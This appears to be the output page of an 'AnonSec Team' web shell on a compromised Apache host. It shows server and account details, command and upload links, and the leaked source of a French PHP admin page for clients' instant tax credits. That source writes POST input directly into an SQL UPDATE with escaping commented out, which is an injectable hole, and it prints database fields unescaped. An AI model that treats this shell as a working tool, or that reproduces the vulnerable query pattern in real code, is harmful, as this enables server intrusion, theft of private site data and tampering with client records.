AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/ajout_credit_dimpot_instantane.php
<?php

 // $a = 2 ;

 // $b = 6 ;

// $somme = $a + $b ;
// echo "la somme est ==> $somme <br/>" ;

include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;

session_start();



// if(!empty($_POST['credit_dimpot'])){

// echo "<pre>" ; 
// print_r($_POST) ; 
// echo "<pre>" ; 	

// }

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['credit_dimpot'])) {
	
	// echo "<pre>" ; 
// print_r($_POST) ; 
// echo "<pre>" ; 	

// exit() ; 
    foreach ($_POST['credit_dimpot'] as $client_id => $credit_dimpot) {
        // $credit_dimpot = dbi_escape_string(trim($credit_dimpot));
		// echo "UPDATE client SET credit_dimpot_instantane = '$credit_dimpot' WHERE client_id = $client_id <br/>" ;
        dbi_query("UPDATE client SET credit_dimpot_instantane = '$credit_dimpot' WHERE client_id = $client_id");
    }
   

} else {
   

}


?><html>

<head>
    <?php include('header.php'); ?>
</head>

<body class="hold-transition sidebar-mini">
    <div class="wrapper">
        <nav class="main-header navbar navbar-expand navbar-white navbar-light">
            <ul class="navbar-nav">
                <li class="nav-item">
                    <a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
                </li>
                <li>
                    <a href="nvclient.php">
                        
                    </a>
                </li>
            </ul>
        </nav>

        <aside class="main-sidebar sidebar-dark-primary elevation-4">
            <a href="index3.html" class="brand-link">
                <img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3" style="opacity: .8">
                <span class="brand-text font-weight-light">MC PRO</span>
            </a>
            <div class="sidebar">
                <div class="user-panel mt-3 pb-3 mb-3 d-flex">
                    <div class="image">
                        <img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
                    </div>
                    <div class="info">
                        <a href="#" class="d-block">Steeven ROBLOT</a>
                    </div>
                </div>
                <?php include('menu.php') ?>
            </div>
        </aside>

        <div class="content-wrapper">
            <section class="content-header">
                <div class="container-fluid">
                    <div class="row mb-2">
                        <div class="col-sm-6">
                            <h1>Ajout credit d'impot instantané</h1>
                        </div>
                    </div>
                </div>
            </section>

            <section class="content">
                <div class="row">
                    <div class="col-12">
                        <div class="card card-info">
                            <div class="card-body">
                                <form method="POST" action="">
                                    <table id="example1" class="table table-bordered table-hover">
                                        <thead>
                                            <tr>
                                                <th>Client</th>
                       
                                                <th>Crédit d'impôt instantané</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            <?php
                                            // $query = dbi_query("SELECT * FROM client c, etablissement etab WHERE c.etablissement_id = etab.etablissement_id ORDER BY c.client_nom ASC");
											    $query = dbi_query("SELECT  DISTINCT c.client_id, c.client_nom, c.credit_dimpot_instantane  FROM client c , paiement p  WHERE    c.client_id = p.client_id  and  p.`reglement_id` = 8 AND p.`date` LIKE '2025%' ORDER BY c.client_nom ASC");
                                            while ($cl = dbi_fetch_row($query)) {
                                            ?>
                                                <tr>
                                                    <td>
                                                        <a href="profilclient.php?client_id=<?php echo $cl['client_id']; ?>">
                                                            <?php echo $cl['client_nom']; ?>
                                                        </a>
                                                    </td>
                                                
                                                    <td>
                                                        <input type="text" name="credit_dimpot[<?php echo $cl['client_id']; ?>]" value="<?php echo $cl['credit_dimpot_instantane']; ?>" class="form-control">
                                                    </td>
                                                </tr>
                                            <?php } ?>
                                        </tbody>
                                    </table>
                                    <button type="submit" class="btn btn-success">Enregistrer les modifications</button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </section>
        </div>
    </div>
</body>
</html>

AnonSec - 2021